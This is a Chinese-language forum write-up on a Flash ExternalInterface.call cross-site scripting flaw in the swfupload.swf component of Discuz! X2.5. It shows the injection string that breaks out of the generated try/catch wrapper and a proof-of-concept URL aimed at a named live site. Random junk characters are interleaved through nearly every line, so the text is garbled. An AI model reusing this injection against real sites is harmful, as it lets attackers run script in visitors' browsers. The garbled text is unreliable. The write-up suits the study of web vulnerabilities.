上回我们说9 o* B' i/ r V9 l" G6 C4 k
. W* f1 P2 B$ l* t1 d
flash.external.ExternalInterface.call($methodName, $parameter)
& {9 ~6 r0 F# A+ z& V在浏览器中执行的是
( C9 ^: [0 R; W# f+ [# A
a; G* g: `& e* [2 G) ^: Etry { __flash__toXML($methodName("$parameter")) ; } catch (e) { "<undefined/>";}: @, x( Q1 I8 G
对于第一个传入的$methodName,flash player在输出js函数时是未经过任何编码的,上个例子里$methodName是全部可控的,但是我们知道了执行脚本的原理后,$methodName只需要部分可控,我们也可以通过注入特殊字符以达到执行任意JS代码的目的。比如
& I! X) J* c3 g& z3 z0 Y+ e' R2 ?, i/ k2 a8 C. d
flash.external.ExternalInterface.call("object."+$methodName, $parameter)
* Q) o! U1 M: r- {$methodName = a())}catch(e){alert(/xss/)}//) R8 ^. W0 t/ x3 A: L
结果是不存在object.a方法,跳到catch,执行我们构造的任意JS。
. \$ B( @1 T. Q0 r* F. O8 m, D* [/ Y4 ]/ t4 F$ N
try { __flash__toXML(object.a())}catch(e){alert(/xss/)}//("$parameter")) ;}catch (e) { "<undefined/>"; }
1 R, z4 j0 V8 \1 T3 _! c. ?' {" }% a; f" z4 o4 B, S9 ~2 o' T, y
这类xss的最有名的实例就是在去年年中爆出的Wordpress的xss,乌云上也有这个漏洞的分析( WooYun: WordPress反射型XSS )
9 |4 J4 w$ b4 @8 C6 ]/ ~2 x: p杯具的是,Discuz! X2.5中采用了一个同样的一个swfupload模块,而且还是修复前的版本。
9 i W5 e. a- x3 C, ^# Y2 p E
0 Z- u- B+ r a* F3 c5 J0 q- J
0 k* b O: k3 h! f9 ^0 M+ R" R+ d$ _( b. {# i' C/ `
漏洞文件:upload\static\image\common\swfupload.swf
1 x) k* m, L8 r0 p( y/ K0 @2 {7 W2 {
原始SWF下载:http://swfpoc.appspot.com/vul/discuz_swfupload.swf
6 s* N. _- Q+ A( y; Q. Y S9 t
2 o. H: Q/ B: J1 E: Z2 U8 s- O: X& v3 K7 N
漏洞证明:http://bbs.open.qq.com/static/im ... d.swf?movieName=%22])}catch(e){if(!window.x){window.x=1;alert(/xss/)}}//
- B- x4 Z- n5 {- i$ Y" l
. y0 D9 p! H. @ [. |
- ~/ C/ S z% m7 R3 ?0 u |